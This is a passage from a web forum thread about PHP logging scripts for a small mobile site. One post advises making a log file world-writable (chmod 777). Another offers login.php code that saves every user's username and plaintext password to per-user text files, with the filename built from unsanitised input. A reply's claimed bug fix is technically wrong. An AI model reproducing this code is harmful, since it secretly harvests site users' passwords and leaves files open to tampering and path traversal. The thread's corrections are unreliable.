Ip Ban

Collapse
X
 
  • Filter
  • Time
  • Show
Clear All
new posts

    #16
    here my code to record visitors ip logs on page
    //Set the date so we can store it in the text file.
    $tdate = date("dS F Y h:i:s A");

    //Check if there is a referer
    if (!$HTTP_REFERER) { $HTTP_REFERER = "(NONE)"; }
    //Store it in the counter.txt file ! DONT FORGET TO SET COUNTER.TXT CHMOD 777 !
    $fp = fopen("counter.txt", "a");
    $line = "IP Address: $REMOTE_ADDR - Date: $tdate - Referer: $HTTP_REFERER - Browser: $HTTP_USER_AGENT\n";
    fwrite($fp, $line);
    fclose($fp);
    echo "Your IP is $REMOTE_ADDR
    ";
    echo "the time is $tdate
    ";
    echo "you are using $HTTP_REFERER";[/b]
    you could even go one better than that and get it to record the user's id number / username if the user is logged in .. ?
    that way you know who is who

    Comment


      #17
      put this in login.php

      $ipr = getip();
      $brws = $_SERVER['HTTP_USER_AGENT'];
      $ubr = $brws;
      $alli = "Username: ".$uid."
      Password: ".$pwd."
      Ip-Address: ".$ipr."
      Browser: ".$ubr."
      Script: Wap 2.0(xhtml)
      ----------
      ";
      if(trim($uid)!=""){
      $fname = "logs/".$uid.".txt";
      $out = fopen($fname,"a+");
      fwrite($out,$alli);
      fclose($out);}

      Comment


        #18
        you forgot the double == in the if() function .. thats just something i noticed straight away but there may be other problems

        $ipr = getip();
        $brws = $_SERVER['HTTP_USER_AGENT'];
        $ubr = $brws;
        $alli = "Username: ".$uid."
        Password: ".$pwd."
        Ip-Address: ".$ipr."
        Browser: ".$ubr."
        Script: Wap 2.0(xhtml)
        ----------
        ";
        if(trim($uid)!==""){
        $fname = "logs/".$uid.".txt";
        $out = fopen($fname,"a+");
        fwrite($out,$alli);
        fclose($out);
        }[/b]

        Comment


          #19
          how do u use that script?im a lil confused kwah and linkrx7 bro
          Failure is not when a girls leaves you, its only when you let her go virgin. heheh!!

          <span style="color:#9ACD32"><span style="font-size:36pt;line-height:100%">BEST MOBILE ADVERTISER</span></span>

          Comment

          Working...
          X